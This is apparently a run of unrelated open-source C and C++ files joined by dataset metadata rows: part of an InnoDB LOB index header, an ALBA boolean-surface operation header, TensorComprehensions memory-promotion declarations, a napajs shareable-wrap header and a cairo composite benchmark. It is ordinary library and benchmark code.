fil_addr_t purge_version(dict_index_t *index, trx_id_t trxid,
flst_base_node_t *lst, flst_base_node_t *free_list);
void add_version(index_entry_t &entry) const {
flst_node_t *node = entry.get_node_ptr();
flst_base_node_t *version_list = get_versions_ptr();
flst_add_first(version_list, node, m_mtr);
}
flst_base_node_t *get_versions_list() const { return (get_versions_ptr()); }
/** Add this node as the last node in the given list.
@param[in] bnode the base node of the file list. */
void push_back(flst_base_node_t *bnode) {
flst_add_last(bnode, m_node, m_mtr);
}
/** Get the base node of the list of versions. */
flst_bnode_t get_versions_mem() const {
flst_base_node_t *node = get_versions_list();
return (flst_bnode_t(node, m_mtr));
}
trx_id_t get_trx_id() const {
byte *ptr = get_trxid_ptr();
return (mach_read_from_6(ptr));
}
trx_id_t get_trx_id_modifier() const {
byte *ptr = get_trxid_modifier_ptr();
return (mach_read_from_6(ptr));
}
undo_no_t get_trx_undo_no() const {
byte *ptr = get_trx_undo_no_ptr();
return (mach_read_from_4(ptr));
}
uint32_t get_lob_version() const {
byte *ptr = get_lob_version_ptr();
return (mach_read_from_4(ptr));
}
/** Get the undo number of the modifier trx.
@return the undo number of the modifier trx. */
undo_no_t get_trx_undo_no_modifier() const {
byte *ptr = get_trx_undo_no_modifier_ptr();
return (mach_read_from_4(ptr));
}
fil_addr_t get_next() const {
ut_ad(m_node != nullptr);
return (flst_read_addr(m_node + OFFSET_NEXT, m_mtr));
}
/** Make the current index entry object to point to the next index
entry object.
@return the buffer block in which the next index entry is available.*/
buf_block_t *next() {
fil_addr_t node_loc = get_next();
if (node_loc.is_null()) {
return (nullptr);
}
if (m_block == nullptr || m_block->page.id.page_no() != node_loc.page) {
load_x(node_loc);
} else {
/* Next entry in the same page. */
reset(node_loc);
}
return (m_block);
}
/** Get the previous index entry.
@return The file address of previous index entry. */
fil_addr_t get_prev() const {
return (flst_read_addr(m_node + OFFSET_PREV, m_mtr));
}
/** Write the trx identifier to the index entry. No redo log
is generated for this modification. This is meant to be used
during tablespace import.
@param[in] id the trx identifier.*/
void set_trx_id_no_redo(trx_id_t id) {
byte *ptr = get_trxid_ptr();
mach_write_to_6(ptr, id);
}
/** Write the modifier trx identifier to the index entry. No redo log
is generated for this modification. This is meant to be used
during tablespace import.
@param[in] id the trx identifier.*/
void set_trx_id_modifier_no_redo(trx_id_t id) {
byte *ptr = get_trxid_modifier_ptr();
mach_write_to_6(ptr, id);
}
void set_trx_id(trx_id_t id) {
byte *ptr = get_trxid_ptr();
mach_write_to_6(ptr, id);
mlog_log_string(ptr, 6, m_mtr);
}
void set_trx_id_modifier(trx_id_t id) {
ut_ad(m_mtr != nullptr);
byte *ptr = get_trxid_modifier_ptr();
mach_write_to_6(ptr, id);
mlog_log_string(ptr, 6, m_mtr);
}
void set_trx_undo_no(undo_no_t undo_no) {
byte *ptr = get_trx_undo_no_ptr();
mlog_write_ulint(ptr, undo_no, MLOG_4BYTES, m_mtr);
}
/** Set the LOB version of this entry.
@param[in] version the LOB version number. */
void set_lob_version(uint32_t version) {
byte *ptr = get_lob_version_ptr();
mlog_write_ulint(ptr, version, MLOG_4BYTES, m_mtr);
}
void set_trx_undo_no_modifier(undo_no_t undo_no) {
ut_ad(m_mtr != nullptr);
byte *ptr = get_trx_undo_no_modifier_ptr();
mlog_write_ulint(ptr, undo_no, MLOG_4BYTES, m_mtr);
}
void set_page_no(page_no_t num) {
ut_ad(num > 0);
byte *ptr = get_pageno_ptr();
return (mlog_write_ulint(ptr, num, MLOG_4BYTES, m_mtr));
}
void set_prev_null() {
flst_write_addr(m_node + OFFSET_PREV, fil_addr_null, m_mtr);
}
void set_next_null() {
flst_write_addr(m_node + OFFSET_NEXT, fil_addr_null, m_mtr);
}
page_no_t get_page_no() const {
byte *ptr = get_pageno_ptr();
return (mach_read_from_4(ptr));
}
void set_data_len(ulint len) {
byte *ptr = get_datalen_ptr();
return (mlog_write_ulint(ptr, len, MLOG_2BYTES, m_mtr));
}
ulint get_data_len() const {
byte *ptr = get_datalen_ptr();
return (mach_read_from_2(ptr));
}
std::ostream &print(std::ostream &out) const;
bool is_same(const index_entry_t &that) { return (m_node == that.m_node); }
void read(index_entry_mem_t &entry_mem) const;
/** Load the index entry available in the given file address.
Take x-latch on the index page.
@param[in] addr the file address of the index entry.
@return the buffer block containing the index entry. */
buf_block_t *load_x(const fil_addr_t &addr);
/** Load the index entry available in the given file address.
Take s-latch on the index page.
@param[in] addr the file location of index entry.
@return the buffer block. */
buf_block_t *load_s(const fil_addr_t &addr);
void insert_after(flst_base_node_t *base, index_entry_t &entry) {
flst_insert_after(base, m_node, entry.get_node(), m_mtr);
}
void insert_before(flst_base_node_t *base, index_entry_t &entry) {
flst_insert_before(base, entry.get_node(), m_node, m_mtr);
}
void remove(flst_base_node_t *bnode) { flst_remove(bnode, m_node, m_mtr); }
private:
/** Move the version base node from current entry to the given entry.
@param[in] to_entry The index entry to which the version
base node is moved to.*/
void move_version_base_node(index_entry_t &to_entry);
/** Purge the current index entry. An index entry points to either a
FIRST page or DATA page. That LOB page will be freed if it is DATA
page. A FIRST page should not be freed. */
void purge(dict_index_t *index);
byte *get_versions_ptr() const { return (m_node + OFFSET_VERSIONS); }
byte *get_trxid_ptr() const { return (m_node + OFFSET_TRXID); }
byte *get_trxid_modifier_ptr() const {
return (m_node + OFFSET_TRXID_MODIFIER);
}
byte *get_trx_undo_no_ptr() const { return (m_node + OFFSET_TRX_UNDO_NO); }
byte *get_lob_version_ptr() const { return (m_node + OFFSET_LOB_VERSION); }
byte *get_trx_undo_no_modifier_ptr() const {
return (m_node + OFFSET_TRX_UNDO_NO_MODIFIER);
}
byte *get_pageno_ptr() const { return (m_node + OFFSET_PAGE_NO); }
byte *get_datalen_ptr() const { return (m_node + OFFSET_DATA_LEN); }
byte *get_node_ptr() const { return (m_node); }
byte *get_node() const { return (m_node); }
private:
byte *m_node;
mtr_t *m_mtr;
const dict_index_t *m_index;
buf_block_t *m_block;
};
/** Overloading the global output operator to easily print an index entry.
@param[in] out the output stream.
@param[in] obj the index entry.
@return the output stream. */
inline std::ostream &operator<<(std::ostream &out, const index_entry_t &obj) {
return (obj.print(out));
}
} /* namespace lob */
#endif /* lob0index_h */
| 32.763158 | 79 | 0.696051 | [
"object"
] |
236c2c4f956b0b76fd515bbd4c0fd94c7799d198 | 3,205 | h | C | Operations/albaOpBooleanSurface.h | IOR-BIC/ALBA | b574968b05d9a3a2756dd2ac61d015a0d20232a4 | [
"Apache-2.0",
"BSD-3-Clause"
] | 9 | 2018-11-19T10:15:29.000Z | 2021-08-30T11:52:07.000Z | Operations/albaOpBooleanSurface.h | IOR-BIC/ALBA | b574968b05d9a3a2756dd2ac61d015a0d20232a4 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | Operations/albaOpBooleanSurface.h | IOR-BIC/ALBA | b574968b05d9a3a2756dd2ac61d015a0d20232a4 | [
"Apache-2.0",
"BSD-3-Clause"
] | 3 | 2018-06-10T22:56:29.000Z | 2019-12-12T06:22:56.000Z | /*=========================================================================
Program: ALBA (Agile Library for Biomedical Applications)
Module: albaOpBooleanSurface
Authors: Daniele Giunchi - Matteo Giacomoni
Copyright (c) BIC
All rights reserved. See Copyright.txt or
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the above copyright notice for more information.
=========================================================================*/
#ifndef __albaOpBooleanSurface_H__
#define __albaOpBooleanSurface_H__
#include "albaOp.h"
#include "albaVME.h"
#include "albaVMESurface.h"
#include "albaVMESurfaceParametric.h"
//----------------------------------------------------------------------------
// forward references :
//----------------------------------------------------------------------------
class vtkPolyData;
class vtkPlane;
class vtkGlyph3D;
class vtkPlaneSource;
class albaVMEGizmo;
class albaInteractorCompositorMouse;
class albaInteractorGenericMouse;
#ifdef ALBA_EXPORTS
#include "albaDllMacros.h"
EXPORT_STL_VECTOR(ALBA_EXPORT,vtkPolyData*);
#endif
//----------------------------------------------------------------------------
// albaOpBooleanSurface :
//----------------------------------------------------------------------------
/** */
class ALBA_EXPORT albaOpBooleanSurface: public albaOp
{
public:
albaOpBooleanSurface(const wxString &label = "FilterSurface");
~albaOpBooleanSurface();
virtual void OnEvent(albaEventBase *alba_event);
albaTypeMacro(albaOpBooleanSurface, albaOp);
static bool SurfaceAccept(albaVME*node) {return(node != NULL && (node->IsALBAType(albaVMESurface) || node->IsALBAType(albaVMESurfaceParametric)));};
enum SURFACE_MODALITY
{
MODE_SURFACE = 0,
MODE_IMPLICIT_FUNCTION
};
albaOp* Copy();
/** Return true for the acceptable vme type. */
bool Accept(albaVME*node);
/** Builds operation's interface. */
void OpRun();
/** Execute the operation. */
void OpDo();
/** Makes the undo for the operation. */
void OpUndo();
void Union();
void Intersection();
void Difference();
void Undo();
void SetFactor1(albaVMESurface *surface){m_FirstOperatorVME=surface;};
void SetFactor2(albaVMESurface *surface){m_SecondOperatorVME=surface;};
protected:
/** This method is called at the end of the operation and result contain the wxOK or wxCANCEL. */
void OpStop(int result);
void VmeChoose(albaString title,albaEvent *e);
void ShowClipPlane(bool show);
void AttachInteraction();
void UpdateISARefSys();
void Clip();
vtkPlane *m_ClipperPlane;
vtkGlyph3D *m_Arrow;
vtkPlaneSource *m_PlaneSource;
albaVMEGizmo *m_ImplicitPlaneGizmo;
bool m_PlaneCreated;
albaInteractorCompositorMouse *m_IsaCompositor;
albaInteractorGenericMouse *m_IsaTranslate;
albaInteractorGenericMouse *m_IsaRotate;
albaVMESurface *m_SecondOperatorVME;
albaVMESurface *m_FirstOperatorVME;
albaVMESurface *m_ResultVME; //<the vme result of operation
albaVMESurface *m_SecondOperatorFromParametric;
std::vector<vtkPolyData*> m_VTKResult;
int m_Modality;
int m_ClipInside;
int m_Subdivision;
};
#endif
| 26.487603 | 149 | 0.661778 | [
"vector"
] |
236c391d73ae1e8f2a81ece0d1d5aeafb6067501 | 7,092 | h | C | tc/core/polyhedral/memory_promotion.h | ftynse/TensorComprehensions | da7e461ba9f0a24a0b0f080e0afb82291f338db4 | [
"Apache-2.0"
] | null | null | null | tc/core/polyhedral/memory_promotion.h | ftynse/TensorComprehensions | da7e461ba9f0a24a0b0f080e0afb82291f338db4 | [
"Apache-2.0"
] | null | null | null | tc/core/polyhedral/memory_promotion.h | ftynse/TensorComprehensions | da7e461ba9f0a24a0b0f080e0afb82291f338db4 | [
"Apache-2.0"
] | null | null | null | /**
* Copyright (c) 2017-present, Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
#include <iostream>
#include "tc/core/polyhedral/domain_types.h"
#include "tc/core/polyhedral/schedule_tree.h"
#include "tc/core/polyhedral/scop.h"
#include "tc/external/isl.h"
#include <unordered_map>
#include <unordered_set>
#include <vector>
namespace tc {
namespace polyhedral {
enum class AccessType : short { Read, Write };
// Rectangular overapproximation of a tensor elements accessed through a single
// reference.
// Each dimension is overapproximated by a lower bound, an affine function of
// parameters and schedule dimensions visible around the scope, by a
// constant size, and by a pair offset/stride for strided accesses. If the
// access is not strided, then "offset" is a zero expression and "stride" is 1.
// The lowerBound and the size are computed after removing the potential stride.
// The scope is defined by a specific position in a schedule tree (const
// ScheduleTree*), the user is responsible for maintaining the correspondence
// between schedule tree positions and footprints.
struct ScopedFootprint {
size_t dim() const {
return box.get_size().size();
}
isl::val size(size_t pos) const {
return box.get_size().get_val(pos);
}
isl::AffOn<Prefix> lowerBound(size_t pos) const {
return box.get_offset().get_aff(pos);
}
isl::val stride(size_t pos) const {
return strideValues.get_val(pos);
}
isl::AffOn<Prefix> strideOffset(size_t pos) const {
return strideOffsets.get_aff(pos);
}
isl::FixedBox<Prefix, Tensor> box;
isl::MultiVal<Tensor> strideValues;
isl::MultiAff<Prefix, Tensor> strideOffsets;
isl::MultiAff<Prefix, Tensor> lowerBounds() const;
};
// Descriptor of tensor reference in a Scop.
// May be scoped to a specific position in a schedule tree, the user is
// responsible for maintaining the correspondence between schedule tree
// positions and scoped access relations.
class TensorReference {
public:
bool isRead() const {
return type == AccessType::Read;
}
bool isWrite() const {
return type == AccessType::Write;
}
public:
// Original access relation in terms of the Scop domain.
isl::Map<Statement, Tensor> originalAccess;
// Access relation in terms of partial schedule at the point where the
// reference group is introduced in the tree.
isl::Map<Prefix, Tensor> scopedAccess;
// Access direction (read or write).
AccessType type;
// Unique identifier of a reference in the Scop.
isl::id refId;
};
class TensorReferenceGroup;
using TensorGroupsInfo = std::vector<std::unique_ptr<TensorReferenceGroup>>;
typedef std::unordered_map<isl::id, TensorGroupsInfo, isl::IslIdIslHash>
TensorGroups;
// A group of tensor references that must be handled together during memory
// promotion. In particular, references that access the same tensor element,
// and at least one of them modifies it, should be placed in the shared/private
// memory together to avoid inconsistent values.
//
// Scoped to a specific position in a schedule tree, the user is responsible
// for maintaining the correspondence between schedule tree positions and scoped
// access relations of each reference as well as scoped footprints.
class TensorReferenceGroup {
private:
TensorReferenceGroup() {}
public:
static TensorGroups accessedWithin(
isl::UnionMap<Statement, Prefix> outerSchedule,
const Body& body);
bool isReadOnly() const;
// Sets of tensor elements accessed below the scoping point.
isl::set writeFootprint() const;
isl::set readFootprint() const;
isl::set footprint() const {
return writeFootprint().unite(readFootprint());
}
// Access relations in terms of partial schedule of the scoping point.
isl::Map<Prefix, Tensor> scopedWrites() const;
isl::Map<Prefix, Tensor> scopedReads() const;
isl::Map<Prefix, Tensor> scopedAccesses() const {
return scopedWrites().unite(scopedReads());
}
// Access relations in terms of Scop domain elements.
// The resulting union relations have different domain spaces but identical
// range spaces.
isl::UnionMap<Statement, Tensor> originalWrites() const;
isl::UnionMap<Statement, Tensor> originalReads() const;
isl::UnionMap<Statement, Tensor> originalAccesses() const {
return originalWrites().unite(originalReads());
}
// Rectangular overapproximation of the set of tensor elements accessed below
// and relative to the scoping point.
isl::Map<Prefix, Tensor> approximateScopedAccesses() const;
isl::MultiAff<isl::Pair<Prefix, Tensor>, Tensor> promotion() const;
isl::Set<Tensor> promotedFootprint() const;
std::vector<size_t> approximationSizes() const;
std::unordered_set<isl::id, isl::IslIdIslHash> referenceIds() const;
static std::unique_ptr<TensorReferenceGroup> makeJoint(
std::unique_ptr<TensorReferenceGroup>&& g1,
std::unique_ptr<TensorReferenceGroup>&& g2);
static std::unique_ptr<TensorReferenceGroup> makeSingleton(
isl::Map<isl::Pair<Statement, Tag>, Tensor> originalAccess,
isl::Map<isl::Pair<Prefix, Tag>, Tensor> scopedAccess,
AccessType type);
public:
std::vector<std::unique_ptr<TensorReference>> references;
ScopedFootprint approximation;
};
inline std::ostream& operator<<(std::ostream& os, const ScopedFootprint& fp) {
if (!fp.box) {
return os;
}
os << "{\n";
os << fp.box.get_offset() << " of size " << fp.box.get_size() << "\n";
os << "}";
return os;
}
inline std::ostream& operator<<(std::ostream& os, const TensorReference& tr) {
os << ((tr.isRead()) ? "rd" : "wr") << " scopedAccess: " << tr.scopedAccess;
;
return os;
}
inline std::ostream& operator<<(
std::ostream& os,
const TensorReferenceGroup& tg) {
os << "Reference with footprint: " << tg.approximation << "\n";
for (const auto& tr : tg.references) {
os << *tr << "\n";
}
return os;
}
inline std::ostream& operator<<(std::ostream& os, const TensorGroupsInfo& ti) {
for (const auto& tg : ti) {
os << *tg << " ";
}
return os;
}
inline std::ostream& operator<<(std::ostream& os, const TensorGroups& tg) {
size_t i = 0;
for (const auto& kvp : tg) {
os << "id: " << kvp.first << "; acc: " << kvp.second;
if (++i < tg.size()) {
os << std::endl;
}
}
return os;
}
detail::ScheduleTree* insertCopiesUnder(
Scop& scop,
detail::ScheduleTree* tree,
const TensorReferenceGroup& group,
isl::id tensorId,
isl::id groupId,
bool unrollAllCopies);
} // namespace polyhedral
} // namespace tc
| 32.090498 | 80 | 0.710519 | [
"vector"
] |
236d4dce134a2624fdbc035fa2e914d9d35d8cd5 | 1,099 | h | C | MilkEngine/include/Animator.h | lordkuragari/MilkEngine | 59ddde58e487f1207b000f45e979beb91865ec5a | [
"MIT"
] | null | null | null | MilkEngine/include/Animator.h | lordkuragari/MilkEngine | 59ddde58e487f1207b000f45e979beb91865ec5a | [
"MIT"
] | 1 | 2015-01-20T22:51:16.000Z | 2015-01-20T22:51:16.000Z | MilkEngine/include/Animator.h | lordkuragari/MilkEngine | 59ddde58e487f1207b000f45e979beb91865ec5a | [
"MIT"
] | null | null | null | #ifndef _ANIMATOR_H_
#define _ANIMATOR_H_
#include <string>
#include <vector>
#include <map>
#include "tinyxml2/tinyxml2.h"
#include "Utilities.h"
struct AniSprite
{
std::string Name;
float width, height;
float x0, x1, y0, y1;
};
struct Atlas
{
float width, height;
std::string sSheet;
std::string sAnimations;
};
typedef std::vector<std::string> frame;
class Animator
{
public:
Animator(void);
~Animator(void);
void Update();
void ImportSheet(const char* a_pSpriteSheet);
void SetAnimation(std::string animation, PlayType type);
void SetAnimation(std::string animation, PlayType type, int frame);
void PlayAnimation();
void SetSprite();
void LoadSprites(const char* a_pSpriteSheet);
void LoadAnimations(const char* a_pAnimationSheet);
void SetUVData(float2 * data);
std::map<std::string, AniSprite> mSprites;
std::map<std::string, frame> mAnimations;
Atlas atlas;
float2 m_UVData[2];
float2 m_SpriteScale;
std::string currentAnimation, currentSprite;
int currentFrame, loopFrame;
double m_dFrames;
PlayType currentPlayType;
double elapsedTime = 0;
};
#endif
| 18.316667 | 68 | 0.744313 | [
"vector"
] |
d6ce595f623260faa599d48c7ed4afd950e9215f | 9,080 | h | C | inc/napa/module/shareable-wrap.h | localh0rzd/napajs | b3f5e67dd20caef5d96ea8c3e3d4c542fcb9a431 | [
"MIT"
] | 9,088 | 2017-08-08T22:28:16.000Z | 2019-05-05T14:57:12.000Z | inc/napa/module/shareable-wrap.h | localh0rzd/napajs | b3f5e67dd20caef5d96ea8c3e3d4c542fcb9a431 | [
"MIT"
] | 172 | 2017-08-09T21:32:15.000Z | 2019-05-03T21:21:05.000Z | inc/napa/module/shareable-wrap.h | localh0rzd/napajs | b3f5e67dd20caef5d96ea8c3e3d4c542fcb9a431 | [
"MIT"
] | 370 | 2017-08-09T04:58:14.000Z | 2019-04-13T18:59:29.000Z | // Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT license.
#pragma once
#include <napa/module.h>
#include <napa/module/transport-context-wrap.h>
#include <napa/transport.h>
#include <memory>
#include <string>
namespace napa {
namespace module {
/// <summary> Abstract class for wraps that contains a C++ std::shared_ptr<T> and allow it be shared across isolates. </summary>
/// <remarks> see napajs/lib/memory/shareable.ts </remarks>
class ShareableWrap : public NAPA_OBJECTWRAP {
public:
/// <summary> It initialize constructor template of a sub-class of ShareableWrap. </summary>
/// <param name="constructorTemplate"> Constructor template of wrap class. </param>
/// <remarks> Should call this method in sub-class Init. </remarks>
template <typename WrapType>
static void InitConstructorTemplate(v8::Local<v8::FunctionTemplate> constructorTemplate) {
// Blessed with methods from napajs.transport.Transportable.
napa::transport::TransportableObject::InitConstructorTemplate(constructorTemplate);
NAPA_SET_PROTOTYPE_METHOD(constructorTemplate, "load", WrapType::LoadCallback);
NAPA_SET_PROTOTYPE_METHOD(constructorTemplate, "save", WrapType::SaveCallback);
NAPA_SET_PROTOTYPE_METHOD(constructorTemplate, "isNull", WrapType::IsNullCallback);
NAPA_SET_ACCESSOR(constructorTemplate, "refCount", WrapType::RefCountCallback, nullptr);
NAPA_SET_ACCESSOR(constructorTemplate, "handle", WrapType::GetHandleCallback, nullptr);
}
/// <summary> It initialize constructor of a sub-class of ShareableWrap. </summary>
/// <remarks> Should call this method in sub-class Init. </remarks>
/// <param name="cid"> Cid used for transporting the wrap. </param>
/// <param name='constructor'> Constructor of wrap class. </param>
static void InitConstructor(const char* cid, v8::Local<v8::Function> constructor) {
napa::transport::TransportableObject::InitConstructor(cid, constructor);
}
/// <summary> Set an instance of ShareableWrap child-class with shared_ptr of T. </summary>
template <typename T>
static void Set(v8::Local<v8::Object> wrap, std::shared_ptr<T> object) {
auto shareable = NAPA_OBJECTWRAP::Unwrap<ShareableWrap>(wrap);
shareable->_object = std::static_pointer_cast<void>(std::move(object));
}
/// <summary> Get shared_ptr of T, which is the type of contained native object. </summary>
template <typename T = void>
typename std::enable_if_t<!std::is_same<void, T>::value, std::shared_ptr<T>> Get() {
return std::static_pointer_cast<T>(_object);
}
/// <summary> Get shared_ptr of void to a native object. </summary>
template <typename T = void>
typename std::enable_if<std::is_same<void, T>::value, std::shared_ptr<void>>::type Get() {
return _object;
}
/// <summary> Get reference of T, which is the type of contained native object. </summary>
template <typename T>
typename std::enable_if_t<!std::is_same<void, T>::value, T&> GetRef() {
return *std::static_pointer_cast<T>(_object);
}
/// <summary> It creates a new instance of WrapType of shared_ptr<T>, WrapType is a sub-class of ShareableWrap. </summary>
/// <param name="object"> shared_ptr of object. </summary>
/// <returns> V8 object of type ShareableWrap. </summary>
template <typename WrapType, typename T>
static v8::Local<v8::Object> NewInstance(std::shared_ptr<T> object) {
auto instance = napa::module::NewInstance<WrapType>().ToLocalChecked();
Set(instance, std::move(object));
return instance;
}
protected:
/// <summary> Friend default constructor callback to access protected method NAPA_OBJECTWRAP::Unwrap. </summary>
template <typename T>
friend void napa::module::DefaultConstructorCallback(const v8::FunctionCallbackInfo<v8::Value>&);
/// <summary> Default constructor. </summary>
ShareableWrap() = default;
/// <summary> Constructor. </summary>
explicit ShareableWrap(std::shared_ptr<void> object) : _object(std::move(object)) {}
/// <summary> Allow inheritance. </summary>
virtual ~ShareableWrap() = default;
/// <summary> It implements readonly Shareable.handle : Handle </summary>
static void GetHandleCallback(v8::Local<v8::String> /*propertyName*/, const v8::PropertyCallbackInfo<v8::Value>& args){
auto isolate = v8::Isolate::GetCurrent();
v8::HandleScope scope(isolate);
auto thisObject = NAPA_OBJECTWRAP::Unwrap<ShareableWrap>(args.Holder());
args.GetReturnValue().Set(v8_helpers::PtrToV8Uint32Array(isolate, thisObject->_object.get()));
}
/// <summary> It implements Shareable.refCount(): boolean </summary>
static void RefCountCallback(v8::Local<v8::String> /*propertyName*/, const v8::PropertyCallbackInfo<v8::Value>& args){
auto isolate = v8::Isolate::GetCurrent();
v8::HandleScope scope(isolate);
auto thisObject = NAPA_OBJECTWRAP::Unwrap<ShareableWrap>(args.Holder());
args.GetReturnValue().Set(static_cast<int32_t>(thisObject->_object.use_count()));
}
/// <summary> It implements Shareable.isNull(): boolean </summary>
static void IsNullCallback(const v8::FunctionCallbackInfo<v8::Value>& args) {
auto isolate = v8::Isolate::GetCurrent();
v8::HandleScope scope(isolate);
auto thisObject = NAPA_OBJECTWRAP::Unwrap<ShareableWrap>(args.Holder());
args.GetReturnValue().Set(thisObject->_object.get() == nullptr);
}
/// <summary> It implements TransportableObject.load(payload: object, transportContext: TransportContext): void </summary>
static void LoadCallback(const v8::FunctionCallbackInfo<v8::Value>& args) {
auto isolate = v8::Isolate::GetCurrent();
v8::HandleScope scope(isolate);
auto context = isolate->GetCurrentContext();
CHECK_ARG(isolate, args.Length() == 2, "2 arguments are required for \"load\".");
CHECK_ARG(isolate, args[0]->IsObject(), "Argument \"payload\" shall be 'Object' type.");
CHECK_ARG(isolate, args[1]->IsObject(), "Argument \"transportContext\" shall be 'TransportContextWrap' type.");
auto payload = v8::Local<v8::Object>::Cast(args[0]);
auto numberArray = payload->Get(v8_helpers::MakeV8String(isolate, "handle"));
auto result = v8_helpers::V8ValueToUintptr(isolate, numberArray);
JS_ENSURE(isolate, result.second, "Unable to cast \"handle\" to pointer. Please check if it's in valid handle format.");
auto transportContextWrap = NAPA_OBJECTWRAP::Unwrap<TransportContextWrap>(v8::Local<v8::Object>::Cast(args[1]));
JS_ENSURE(isolate, transportContextWrap != nullptr, "Argument \"transportContext\" should be 'TransportContextWrap' type.");
// Load object from transport context.
auto thisObject = NAPA_OBJECTWRAP::Unwrap<ShareableWrap>(args.Holder());
thisObject->_object = transportContextWrap->Get()->LoadShared<void>(result.first);
}
/// <summary> It implements TransportableObject.save(payload: object, transportContext: TransportContext): void </summary>
static void SaveCallback(const v8::FunctionCallbackInfo<v8::Value>& args) {
auto isolate = v8::Isolate::GetCurrent();
v8::HandleScope scope(isolate);
auto context = isolate->GetCurrentContext();
CHECK_ARG(isolate, args.Length() == 2, "2 arguments are required for \"save\".");
CHECK_ARG(isolate, args[0]->IsObject(), "Argument \"payload\" should be 'Object' type.");
CHECK_ARG(isolate, args[1]->IsObject(), "Argument \"transportContext\" should be 'TransportContextWrap' type.");
auto payload = v8::Local<v8::Object>::Cast(args[0]);
auto transportContextWrap = NAPA_OBJECTWRAP::Unwrap<TransportContextWrap>(v8::Local<v8::Object>::Cast(args[1]));
JS_ENSURE(isolate, transportContextWrap != nullptr, "Argument \"transportContext\" should be 'TransportContextWrap' type.");
auto thisObject = NAPA_OBJECTWRAP::Unwrap<ShareableWrap>(args.Holder());
payload->CreateDataProperty(
context,
v8_helpers::MakeV8String(isolate, "handle"),
v8_helpers::PtrToV8Uint32Array(isolate, thisObject->_object.get()));
// Save object to transport context.
transportContextWrap->Get()->SaveShared(thisObject->_object);
}
/// <summary> Shared object. </summary>
std::shared_ptr<void> _object;
};
}
} | 53.727811 | 136 | 0.651101 | [
"object"
] |
d6d17ab63816c3ef2020e920a273b4862f67a5e3 | 4,093 | c | C | server/server/cairo-1.12.18/perf/micro/composite-checker.c | ayushajain/Scribe | d6eeca3fcd7a5ef11c9f6e9e44d69afd672b7577 | [
"CC-BY-3.0"
] | 142 | 2015-01-15T04:05:34.000Z | 2022-02-15T00:34:42.000Z | server/server/cairo-1.12.18/perf/micro/composite-checker.c | ayushajain/Scribe | d6eeca3fcd7a5ef11c9f6e9e44d69afd672b7577 | [
"CC-BY-3.0"
] | 32 | 2015-01-22T09:02:11.000Z | 2021-04-18T08:20:45.000Z | server/server/cairo-1.12.18/perf/micro/composite-checker.c | ayushajain/Scribe | d6eeca3fcd7a5ef11c9f6e9e44d69afd672b7577 | [
"CC-BY-3.0"
] | 63 | 2015-03-18T00:16:31.000Z | 2022-02-13T22:45:12.000Z | /*
* Copyright © 2007 Björn Lindqvist
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use, copy,
* modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
* Author: Björn Lindqvist <bjourne@gmail.com>
*/
#include "cairo-perf.h"
/* This test case measures how much time cairo takes to render the
* equivalent of the following gdk-pixbuf operation:
*
* gdk_pixbuf_composite_color(dest,
* 0, 0, DST_SIZE, DST_SIZE,
* 0, 0,
* SCALE, SCALE,
* gdk.INTERP_NEAREST,
* 255,
* 0, 0,
* 8, 0x33333333, 0x88888888);
*
* Cairo is (at the time of writing) about 2-3 times as slow as
* gdk-pixbuf.
*/
#define PAT_SIZE 16
#define SRC_SIZE 64
static cairo_pattern_t *checkerboard = NULL;
static cairo_pattern_t *src_pattern = NULL;
static cairo_time_t
do_composite_checker (cairo_t *cr,
int width,
int height,
int loops)
{
/* Compute zoom so that the src_pattern covers the whole output image. */
double xscale = width / (double) SRC_SIZE;
double yscale = height / (double) SRC_SIZE;
cairo_perf_timer_start ();
while (loops--) {
/* Fill the surface with our background. */
cairo_identity_matrix (cr);
cairo_set_source (cr, checkerboard);
cairo_paint (cr);
/* Draw the scaled image on top. */
cairo_scale (cr, xscale, yscale);
cairo_set_source (cr, src_pattern);
cairo_paint (cr);
}
cairo_perf_timer_stop ();
return cairo_perf_timer_elapsed ();
}
cairo_bool_t
composite_checker_enabled (cairo_perf_t *perf)
{
return cairo_perf_can_run (perf, "composite-checker", NULL);
}
void
composite_checker (cairo_perf_t *perf,
cairo_t *cr,
int width,
int height)
{
cairo_surface_t *image;
/* Create the checker pattern. We don't actually need to draw
* anything on it since that wouldn't affect performance.
*/
image = cairo_image_surface_create (CAIRO_FORMAT_ARGB32,
PAT_SIZE,
PAT_SIZE);
checkerboard = cairo_pattern_create_for_surface (image);
cairo_pattern_set_filter (checkerboard, CAIRO_FILTER_NEAREST);
cairo_pattern_set_extend (checkerboard, CAIRO_EXTEND_REPEAT);
cairo_surface_destroy (image);
/* Create the image source pattern. Again we use the NEAREST
* filtering which should be fastest.
*/
image = cairo_image_surface_create (CAIRO_FORMAT_ARGB32,
SRC_SIZE,
SRC_SIZE);
src_pattern = cairo_pattern_create_for_surface (image);
cairo_pattern_set_filter (src_pattern, CAIRO_FILTER_NEAREST);
cairo_surface_destroy (image);
cairo_perf_run (perf, "composite-checker", do_composite_checker, NULL);
cairo_pattern_destroy (checkerboard);
cairo_pattern_destroy (src_pattern);
}
